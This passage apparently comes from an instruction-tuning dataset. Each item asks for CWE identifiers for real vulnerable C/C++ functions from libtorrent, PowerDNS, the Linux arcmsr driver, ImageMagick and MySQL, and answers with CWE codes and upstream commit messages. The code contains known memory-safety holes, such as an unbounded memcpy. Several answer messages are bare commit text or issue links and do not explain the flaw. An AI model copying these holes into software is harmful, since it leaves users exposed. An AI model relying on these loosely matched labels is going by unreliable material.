ec)\n\t{\n\t\tec.clear();\n\t\tTORRENT_ASSERT(maximum_size > 0);\n\n\t\tint header_len = gzip_header(in, size);\n\t\tif (header_len < 0)\n\t\t{\n\t\t\tec = gzip_errors::invalid_gzip_header;\n\t\t\treturn;\n\t\t}\n\n\t\t// start off with 4 kilobytes and grow\n\t\t// if needed\n\t\tboost::uint32_t destlen = 4096;\n\t\tint ret = 0;\n\t\tboost::uint32_t srclen = size - header_len;\n\t\tin += header_len;\n\n\t\tdo\n\t\t{\n\t\t\tTORRENT_TRY {\n\t\t\t\tbuffer.resize(destlen);\n\t\t\t} TORRENT_CATCH(std::exception&) {\n\t\t\t\tec = errors::no_memory;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tret = puff(reinterpret_cast(&buffer[0]), &destlen\n\t\t\t\t, reinterpret_cast(in), &srclen);\n\n\t\t\t// if the destination buffer wasn't large enough, double its\n\t\t\t// size and try again. Unless it's already at its max, in which\n\t\t\t// case we fail\n\t\t\tif (ret == 1) // 1: output space exhausted before completing inflate\n\t\t\t{\n\t\t\t\tif (destlen == boost::uint32_t(maximum_size))\n\t\t\t\t{\n\t\t\t\t\tec = gzip_errors::inflated_data_too_large;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tdestlen *= 2;\n\t\t\t\tif (destlen > boost::uint32_t(maximum_size))\n\t\t\t\t\tdestlen = maximum_size;\n\t\t\t}\n\t\t} while (ret == 1);\n\n\t\tif (ret != 0)\n\t\t{\n\t\t\tswitch (ret)\n\t\t\t{\n\t\t\t\tcase 2: ec = gzip_errors::data_did_not_terminate; return;\n\t\t\t\tcase 1: ec = gzip_errors::space_exhausted; return;\n\t\t\t\tcase -1: ec = gzip_errors::invalid_block_type; return;\n\t\t\t\tcase -2: ec = gzip_errors::invalid_stored_block_length; return;\n\t\t\t\tcase -3: ec = gzip_errors::too_many_length_or_distance_codes; return;\n\t\t\t\tcase -4: ec = gzip_errors::code_lengths_codes_incomplete; return;\n\t\t\t\tcase -5: ec = gzip_errors::repeat_lengths_with_no_first_length; return;\n\t\t\t\tcase -6: ec = gzip_errors::repeat_more_than_specified_lengths; return;\n\t\t\t\tcase -7: ec = gzip_errors::invalid_literal_length_code_lengths; return;\n\t\t\t\tcase -8: ec = gzip_errors::invalid_distance_code_lengths; return;\n\t\t\t\tcase -9: ec = gzip_errors::invalid_literal_code_in_block; return;\n\t\t\t\tcase -10: ec = gzip_errors::distance_too_far_back_in_block; return;\n\t\t\t\tdefault: ec = gzip_errors::unknown_gzip_error; return;\n\t\t\t}\n\t\t}\n\n\t\tif (destlen > buffer.size())\n\t\t{\n\t\t\tec = gzip_errors::unknown_gzip_error;\n\t\t\treturn;\n\t\t}\n\n\t\tbuffer.resize(destlen);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'update puff.c for gzip inflation (#1022)\n\nupdate puff.c for gzip inflation'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool chopOff(string &domain) \n{\n if(domain.empty())\n return false;\n\n string::size_type fdot=domain.find('.');\n\n if(fdot==string::npos) \n domain=\"\";\n else {\n string::size_type remain = domain.length() - (fdot + 1);\n char tmp[remain];\n memcpy(tmp, domain.c_str()+fdot+1, remain);\n domain.assign(tmp, remain); // don't dare to do this w/o tmp holder :-)\n }\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'Reject qname's wirelength > 255, `chopOff()` handle dot inside labels'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int arcmsr_iop_message_xfer(struct AdapterControlBlock *acb,\n\t\tstruct scsi_cmnd *cmd)\n{\n\tchar *buffer;\n\tunsigned short use_sg;\n\tint retvalue = 0, transfer_len = 0;\n\tunsigned long flags;\n\tstruct CMD_MESSAGE_FIELD *pcmdmessagefld;\n\tuint32_t controlcode = (uint32_t)cmd->cmnd[5] << 24 |\n\t\t(uint32_t)cmd->cmnd[6] << 16 |\n\t\t(uint32_t)cmd->cmnd[7] << 8 |\n\t\t(uint32_t)cmd->cmnd[8];\n\tstruct scatterlist *sg;\n\n\tuse_sg = scsi_sg_count(cmd);\n\tsg = scsi_sglist(cmd);\n\tbuffer = kmap_atomic(sg_page(sg)) + sg->offset;\n\tif (use_sg > 1) {\n\t\tretvalue = ARCMSR_MESSAGE_FAIL;\n\t\tgoto message_out;\n\t}\n\ttransfer_len += sg->length;\n\tif (transfer_len > sizeof(struct CMD_MESSAGE_FIELD)) {\n\t\tretvalue = ARCMSR_MESSAGE_FAIL;\n\t\tpr_info(\"%s: ARCMSR_MESSAGE_FAIL!\\n\", __func__);\n\t\tgoto message_out;\n\t}\n\tpcmdmessagefld = (struct CMD_MESSAGE_FIELD *)buffer;\n\tswitch (controlcode) {\n\tcase ARCMSR_MESSAGE_READ_RQBUFFER: {\n\t\tunsigned char *ver_addr;\n\t\tuint8_t *ptmpQbuffer;\n\t\tuint32_t allxfer_len = 0;\n\t\tver_addr = kmalloc(ARCMSR_API_DATA_BUFLEN, GFP_ATOMIC);\n\t\tif (!ver_addr) {\n\t\t\tretvalue = ARCMSR_MESSAGE_FAIL;\n\t\t\tpr_info(\"%s: memory not enough!\\n\", __func__);\n\t\t\tgoto message_out;\n\t\t}\n\t\tptmpQbuffer = ver_addr;\n\t\tspin_lock_irqsave(&acb->rqbuffer_lock, flags);\n\t\tif (acb->rqbuf_getIndex != acb->rqbuf_putIndex) {\n\t\t\tunsigned int tail = acb->rqbuf_getIndex;\n\t\t\tunsigned int head = acb->rqbuf_putIndex;\n\t\t\tunsigned int cnt_to_end = CIRC_CNT_TO_END(head, tail, ARCMSR_MAX_QBUFFER);\n\n\t\t\tallxfer_len = CIRC_CNT(head, tail, ARCMSR_MAX_QBUFFER);\n\t\t\tif (allxfer_len > ARCMSR_API_DATA_BUFLEN)\n\t\t\t\tallxfer_len = ARCMSR_API_DATA_BUFLEN;\n\n\t\t\tif (allxfer_len <= cnt_to_end)\n\t\t\t\tmemcpy(ptmpQbuffer, acb->rqbuffer + tail, allxfer_len);\n\t\t\telse {\n\t\t\t\tmemcpy(ptmpQbuffer, acb->rqbuffer + tail, cnt_to_end);\n\t\t\t\tmemcpy(ptmpQbuffer + cnt_to_end, acb->rqbuffer, allxfer_len - cnt_to_end);\n\t\t\t}\n\t\t\tacb->rqbuf_getIndex = (acb->rqbuf_getIndex + allxfer_len) % ARCMSR_MAX_QBUFFER;\n\t\t}\n\t\tmemcpy(pcmdmessagefld->messagedatabuffer, ver_addr,\n\t\t\tallxfer_len);\n\t\tif (acb->acb_flags & ACB_F_IOPDATA_OVERFLOW) {\n\t\t\tstruct QBUFFER __iomem *prbuffer;\n\t\t\tacb->acb_flags &= ~ACB_F_IOPDATA_OVERFLOW;\n\t\t\tprbuffer = arcmsr_get_iop_rqbuffer(acb);\n\t\t\tif (arcmsr_Read_iop_rqbuffer_data(acb, prbuffer) == 0)\n\t\t\t\tacb->acb_flags |= ACB_F_IOPDATA_OVERFLOW;\n\t\t}\n\t\tspin_unlock_irqrestore(&acb->rqbuffer_lock, flags);\n\t\tkfree(ver_addr);\n\t\tpcmdmessagefld->cmdmessage.Length = allxfer_len;\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_WRITE_WQBUFFER: {\n\t\tunsigned char *ver_addr;\n\t\tint32_t user_len, cnt2end;\n\t\tuint8_t *pQbuffer, *ptmpuserbuffer;\n\t\tver_addr = kmalloc(ARCMSR_API_DATA_BUFLEN, GFP_ATOMIC);\n\t\tif (!ver_addr) {\n\t\t\tretvalue = ARCMSR_MESSAGE_FAIL;\n\t\t\tgoto message_out;\n\t\t}\n\t\tptmpuserbuffer = ver_addr;\n\t\tuser_len = pcmdmessagefld->cmdmessage.Length;\n\t\tmemcpy(ptmpuserbuffer,\n\t\t\tpcmdmessagefld->messagedatabuffer, user_len);\n\t\tspin_lock_irqsave(&acb->wqbuffer_lock, flags);\n\t\tif (acb->wqbuf_putIndex != acb->wqbuf_getIndex) {\n\t\t\tstruct SENSE_DATA *sensebuffer =\n\t\t\t\t(struct SENSE_DATA *)cmd->sense_buffer;\n\t\t\tarcmsr_write_ioctldata2iop(acb);\n\t\t\t/* has error report sensedata */\n\t\t\tsensebuffer->ErrorCode = SCSI_SENSE_CURRENT_ERRORS;\n\t\t\tsensebuffer->SenseKey = ILLEGAL_REQUEST;\n\t\t\tsensebuffer->AdditionalSenseLength = 0x0A;\n\t\t\tsensebuffer->AdditionalSenseCode = 0x20;\n\t\t\tsensebuffer->Valid = 1;\n\t\t\tretvalue = ARCMSR_MESSAGE_FAIL;\n\t\t} else {\n\t\t\tpQbuffer = &acb->wqbuffer[acb->wqbuf_putIndex];\n\t\t\tcnt2end = ARCMSR_MAX_QBUFFER - acb->wqbuf_putIndex;\n\t\t\tif (user_len > cnt2end) {\n\t\t\t\tmemcpy(pQbuffer, ptmpuserbuffer, cnt2end);\n\t\t\t\tptmpuserbuffer += cnt2end;\n\t\t\t\tuser_len -= cnt2end;\n\t\t\t\tacb->wqbuf_putIndex = 0;\n\t\t\t\tpQbuffer = acb->wqbuffer;\n\t\t\t}\n\t\t\tmemcpy(pQbuffer, ptmpuserbuffer, user_len);\n\t\t\tacb->wqbuf_putIndex += user_len;\n\t\t\tacb->wqbuf_putIndex %= ARCMSR_MAX_QBUFFER;\n\t\t\tif (acb->acb_flags & ACB_F_MESSAGE_WQBUFFER_CLEARED) {\n\t\t\t\tacb->acb_flags &=\n\t\t\t\t\t\t~ACB_F_MESSAGE_WQBUFFER_CLEARED;\n\t\t\t\tarcmsr_write_ioctldata2iop(acb);\n\t\t\t}\n\t\t}\n\t\tspin_unlock_irqrestore(&acb->wqbuffer_lock, flags);\n\t\tkfree(ver_addr);\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_CLEAR_RQBUFFER: {\n\t\tuint8_t *pQbuffer = acb->rqbuffer;\n\n\t\tarcmsr_clear_iop2drv_rqueue_buffer(acb);\n\t\tspin_lock_irqsave(&acb->rqbuffer_lock, flags);\n\t\tacb->acb_flags |= ACB_F_MESSAGE_RQBUFFER_CLEARED;\n\t\tacb->rqbuf_getIndex = 0;\n\t\tacb->rqbuf_putIndex = 0;\n\t\tmemset(pQbuffer, 0, ARCMSR_MAX_QBUFFER);\n\t\tspin_unlock_irqrestore(&acb->rqbuffer_lock, flags);\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_CLEAR_WQBUFFER: {\n\t\tuint8_t *pQbuffer = acb->wqbuffer;\n\t\tspin_lock_irqsave(&acb->wqbuffer_lock, flags);\n\t\tacb->acb_flags |= (ACB_F_MESSAGE_WQBUFFER_CLEARED |\n\t\t\tACB_F_MESSAGE_WQBUFFER_READED);\n\t\tacb->wqbuf_getIndex = 0;\n\t\tacb->wqbuf_putIndex = 0;\n\t\tmemset(pQbuffer, 0, ARCMSR_MAX_QBUFFER);\n\t\tspin_unlock_irqrestore(&acb->wqbuffer_lock, flags);\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_CLEAR_ALLQBUFFER: {\n\t\tuint8_t *pQbuffer;\n\t\tarcmsr_clear_iop2drv_rqueue_buffer(acb);\n\t\tspin_lock_irqsave(&acb->rqbuffer_lock, flags);\n\t\tacb->acb_flags |= ACB_F_MESSAGE_RQBUFFER_CLEARED;\n\t\tacb->rqbuf_getIndex = 0;\n\t\tacb->rqbuf_putIndex = 0;\n\t\tpQbuffer = acb->rqbuffer;\n\t\tmemset(pQbuffer, 0, sizeof(struct QBUFFER));\n\t\tspin_unlock_irqrestore(&acb->rqbuffer_lock, flags);\n\t\tspin_lock_irqsave(&acb->wqbuffer_lock, flags);\n\t\tacb->acb_flags |= (ACB_F_MESSAGE_WQBUFFER_CLEARED |\n\t\t\tACB_F_MESSAGE_WQBUFFER_READED);\n\t\tacb->wqbuf_getIndex = 0;\n\t\tacb->wqbuf_putIndex = 0;\n\t\tpQbuffer = acb->wqbuffer;\n\t\tmemset(pQbuffer, 0, sizeof(struct QBUFFER));\n\t\tspin_unlock_irqrestore(&acb->wqbuffer_lock, flags);\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_RETURN_CODE_3F: {\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_3F;\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_SAY_HELLO: {\n\t\tint8_t *hello_string = \"Hello! I am ARCMSR\";\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tmemcpy(pcmdmessagefld->messagedatabuffer,\n\t\t\thello_string, (int16_t)strlen(hello_string));\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_SAY_GOODBYE: {\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tarcmsr_iop_parking(acb);\n\t\tbreak;\n\t}\n\tcase ARCMSR_MESSAGE_FLUSH_ADAPTER_CACHE: {\n\t\tif (acb->fw_flag == FW_DEADLOCK)\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_BUS_HANG_ON;\n\t\telse\n\t\t\tpcmdmessagefld->cmdmessage.ReturnCode =\n\t\t\t\tARCMSR_MESSAGE_RETURNCODE_OK;\n\t\tarcmsr_flush_adapter_cache(acb);\n\t\tbreak;\n\t}\n\tdefault:\n\t\tretvalue = ARCMSR_MESSAGE_FAIL;\n\t\tpr_info(\"%s: unknown controlcode!\\n\", __func__);\n\t}\nmessage_out:\n\tif (use_sg) {\n\t\tstruct scatterlist *sg = scsi_sglist(cmd);\n\t\tkunmap_atomic(buffer - sg->offset);\n\t}\n\treturn retvalue;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer()\n\nWe need to put an upper bound on \"user_len\" so the memcpy() doesn't\noverflow.\n\nCc: \nReported-by: Marco Grassi \nSigned-off-by: Dan Carpenter \nReviewed-by: Tomas Henzl \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;\n\n MagickBooleanType\n has_merged_image,\n skip_layers;\n\n MagickOffsetType\n offset;\n\n MagickSizeType\n length;\n\n MagickBooleanType\n status;\n\n PSDInfo\n psd_info;\n\n register ssize_t\n i;\n\n ssize_t\n count;\n\n unsigned char\n *data;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read image header.\n */\n image->endian=MSBEndian;\n count=ReadBlob(image,4,(unsigned char *) psd_info.signature);\n psd_info.version=ReadBlobMSBShort(image);\n if ((count == 0) || (LocaleNCompare(psd_info.signature,\"8BPS\",4) != 0) ||\n ((psd_info.version != 1) && (psd_info.version != 2)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n (void) ReadBlob(image,6,psd_info.reserved);\n psd_info.channels=ReadBlobMSBShort(image);\n if (psd_info.channels > MaxPSDChannels)\n ThrowReaderException(CorruptImageError,\"MaximumChannelsExceeded\");\n psd_info.rows=ReadBlobMSBLong(image);\n psd_info.columns=ReadBlobMSBLong(image);\n if ((psd_info.version == 1) && ((psd_info.rows > 30000) ||\n (psd_info.columns > 30000)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n psd_info.depth=ReadBlobMSBShort(image);\n if ((psd_info.depth != 1) && (psd_info.depth != 8) && (psd_info.depth != 16))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n psd_info.mode=ReadBlobMSBShort(image);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s\",\n (double) psd_info.columns,(double) psd_info.rows,(double)\n psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType)\n psd_info.mode));\n /*\n Initialize image.\n */\n image->depth=psd_info.depth;\n image->columns=psd_info.columns;\n image->rows=psd_info.rows;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n if (SetImageBackgroundColor(image,exception) == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n if (psd_info.mode == LabMode)\n SetImageColorspace(image,LabColorspace,exception);\n if (psd_info.mode == CMYKMode)\n {\n SetImageColorspace(image,CMYKColorspace,exception);\n image->alpha_trait=psd_info.channels > 4 ? BlendPixelTrait :\n UndefinedPixelTrait;\n }\n else if ((psd_info.mode == BitmapMode) || (psd_info.mode == GrayscaleMode) ||\n (psd_info.mode == DuotoneMode))\n {\n status=AcquireImageColormap(image,psd_info.depth != 16 ? 256 : 65536,\n exception);\n if (status == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image colormap allocated\");\n SetImageColorspace(image,GRAYColorspace,exception);\n image->alpha_trait=psd_info.channels > 1 ? BlendPixelTrait :\n UndefinedPixelTrait;\n }\n else\n image->alpha_trait=psd_info.channels > 3 ? BlendPixelTrait :\n UndefinedPixelTrait;\n /*\n Read PSD raster colormap only present for indexed and duotone images.\n */\n length=ReadBlobMSBLong(image);\n if (length != 0)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading colormap\");\n if (psd_info.mode == DuotoneMode)\n {\n /*\n Duotone image data; the format of this data is undocumented.\n */\n data=(unsigned char *) AcquireQuantumMemory((size_t) length,\n sizeof(*data));\n if (data == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n (void) ReadBlob(image,(size_t) length,data);\n data=(unsigned char *) RelinquishMagickMemory(data);\n }\n else\n {\n size_t\n number_colors;\n\n /*\n Read PSD raster colormap.\n */\n number_colors=length/3;\n if (number_colors > 65536)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (AcquireImageColormap(image,number_colors,exception) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].red=ScaleCharToQuantum((unsigned char)\n ReadBlobByte(image));\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].green=ScaleCharToQuantum((unsigned char)\n ReadBlobByte(image));\n for (i=0; i < (ssize_t) image->colors; i++)\n image->colormap[i].blue=ScaleCharToQuantum((unsigned char)\n ReadBlobByte(image));\n image->alpha_trait=UndefinedPixelTrait;\n }\n }\n has_merged_image=MagickTrue;\n length=ReadBlobMSBLong(image);\n if (length != 0)\n {\n unsigned char\n *blocks;\n\n /*\n Image resources block.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading image resource blocks - %.20g bytes\",(double)\n ((MagickOffsetType) length));\n blocks=(unsigned char *) AcquireQuantumMemory((size_t) length,\n sizeof(*blocks));\n if (blocks == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n count=ReadBlob(image,(size_t) length,blocks);\n if ((count != (ssize_t) length) ||\n (LocaleNCompare((char *) blocks,\"8BIM\",4) != 0))\n {\n blocks=(unsigned char *) RelinquishMagickMemory(blocks);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n ParseImageResourceBlocks(image,blocks,(size_t) length,&has_merged_image,\n exception);\n blocks=(unsigned char *) RelinquishMagickMemory(blocks);\n }\n /*\n Layer and mask block.\n */\n length=GetPSDSize(&psd_info,image);\n if (length == 8)\n {\n length=ReadBlobMSBLong(image);\n length=ReadBlobMSBLong(image);\n }\n offset=TellBlob(image);\n skip_layers=MagickFalse;\n if ((image_info->number_scenes == 1) && (image_info->scene == 0) &&\n (has_merged_image != MagickFalse))\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" read composite only\");\n skip_layers=MagickTrue;\n }\n if (length == 0)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image has no layers\");\n }\n else\n {\n if (ReadPSDLayers(image,image_info,&psd_info,skip_layers,exception) !=\n MagickTrue)\n {\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n\n /*\n Skip the rest of the layer and mask information.\n */\n SeekBlob(image,offset+length,SEEK_SET);\n }\n /*\n If we are only \"pinging\" the image, then we're done - so return.\n */\n if (image_info->ping != MagickFalse)\n {\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n /*\n Read the precombined layer, present for PSD < 4 compatibility.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading the precombined layer\");\n if ((has_merged_image != MagickFalse) || (GetImageListLength(image) == 1))\n has_merged_image=(MagickBooleanType) ReadPSDMergedImage(image_info,image,\n &psd_info,exception);\n if ((has_merged_image == MagickFalse) && (GetImageListLength(image) == 1) &&\n (length != 0))\n {\n SeekBlob(image,offset,SEEK_SET);\n status=ReadPSDLayers(image,image_info,&psd_info,MagickFalse,exception);\n if (status != MagickTrue)\n {\n (void) CloseBlob(image);\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n }\n if ((has_merged_image == MagickFalse) && (GetImageListLength(image) > 1))\n {\n Image\n *merged;\n\n SetImageAlphaChannel(image,TransparentAlphaChannel,exception);\n image->background_color.alpha=TransparentAlpha;\n image->background_color.alpha_trait=BlendPixelTrait;\n merged=MergeImageLayers(image,FlattenLayer,exception);\n ReplaceImageInList(&image,merged);\n }\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Added check for bit depth 1.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: MagickExport void *AcquireAlignedMemory(const size_t count,const size_t quantum)\n{\n#define AlignedExtent(size,alignment) \\\n (((size)+((alignment)-1)) & ~((alignment)-1))\n\n size_t\n alignment,\n extent,\n size;\n\n void\n *memory;\n\n size=count*quantum;\n if ((count == 0) || (quantum != (size/count)))\n {\n errno=ENOMEM;\n return((void *) NULL);\n }\n memory=NULL;\n alignment=CACHE_LINE_SIZE;\n extent=AlignedExtent(size,alignment);\n if ((size == 0) || (alignment < sizeof(void *)) || (extent < size))\n return((void *) NULL);\n#if defined(MAGICKCORE_HAVE_POSIX_MEMALIGN)\n if (posix_memalign(&memory,alignment,extent) != 0)\n memory=NULL;\n#elif defined(MAGICKCORE_HAVE__ALIGNED_MALLOC)\n memory=_aligned_malloc(extent,alignment);\n#else\n {\n void\n *p;\n\n extent=(size+alignment-1)+sizeof(void *);\n if (extent > size)\n {\n p=malloc(extent);\n if (p != NULL)\n {\n memory=(void *) AlignedExtent((size_t) p+sizeof(void *),alignment);\n *((void **) memory-1)=p;\n }\n }\n }\n#endif\n return(memory);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/82\nhttps://github.com/ImageMagick/ImageMagick/issues/81\nhttps://github.com/ImageMagick/ImageMagick/issues/80\nhttps://github.com/ImageMagick/ImageMagick/issues/77'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: MagickExport MagickBooleanType SetQuantumDepth(const Image *image,\n QuantumInfo *quantum_info,const size_t depth)\n{\n size_t\n extent,\n quantum;\n\n /*\n Allocate the quantum pixel buffer.\n */\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(quantum_info != (QuantumInfo *) NULL);\n assert(quantum_info->signature == MagickCoreSignature);\n quantum_info->depth=depth;\n if (quantum_info->format == FloatingPointQuantumFormat)\n {\n if (quantum_info->depth > 32)\n quantum_info->depth=64;\n else\n if (quantum_info->depth > 16)\n quantum_info->depth=32;\n else\n quantum_info->depth=16;\n }\n if (quantum_info->pixels != (unsigned char **) NULL)\n DestroyQuantumPixels(quantum_info);\n quantum=(quantum_info->pad+6)*(quantum_info->depth+7)/8;\n extent=image->columns*quantum;\n if ((image->columns != 0) && (quantum != (extent/image->columns)))\n return(MagickFalse);\n return(AcquireQuantumPixels(quantum_info,extent));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-369'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/105'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int myisamchk(MI_CHECK *param, char * filename)\n{\n int error,lock_type,recreate;\n int rep_quick= param->testflag & (T_QUICK | T_FORCE_UNIQUENESS);\n MI_INFO *info;\n File datafile;\n char llbuff[22],llbuff2[22];\n my_bool state_updated=0;\n MYISAM_SHARE *share;\n DBUG_ENTER(\"myisamchk\");\n\n param->out_flag=error=param->warning_printed=param->error_printed=\n recreate=0;\n datafile=0;\n param->isam_file_name=filename;\t\t/* For error messages */\n if (!(info=mi_open(filename,\n\t\t (param->testflag & (T_DESCRIPT | T_READONLY)) ?\n\t\t O_RDONLY : O_RDWR,\n\t\t HA_OPEN_FOR_REPAIR |\n\t\t ((param->testflag & T_WAIT_FOREVER) ?\n\t\t HA_OPEN_WAIT_IF_LOCKED :\n\t\t (param->testflag & T_DESCRIPT) ?\n\t\t HA_OPEN_IGNORE_IF_LOCKED : HA_OPEN_ABORT_IF_LOCKED))))\n {\n /* 